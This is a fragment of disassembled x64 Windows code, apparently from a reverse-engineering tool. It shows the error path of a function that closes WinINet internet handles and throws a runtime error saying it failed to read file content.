call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140002ac3
cmp eax, 0x12
je 0x140002ac3
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r11, str.Failed_to_read_file_content.
mov qword [rbp - 0x50], r11
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x40]
call fcn.140003f80
lea r11, vtable.std::runtime_error.0
mov qword [rbp - 0x40], r11
lea rdx, [0x140025ed0]
lea rcx, [rbp - 0x40]
call fcn.140005998
int3
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rdi, rdi
je 0x140002ae3
mov rcx, rdi
call fcn.140005400
mov rax, rbx
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret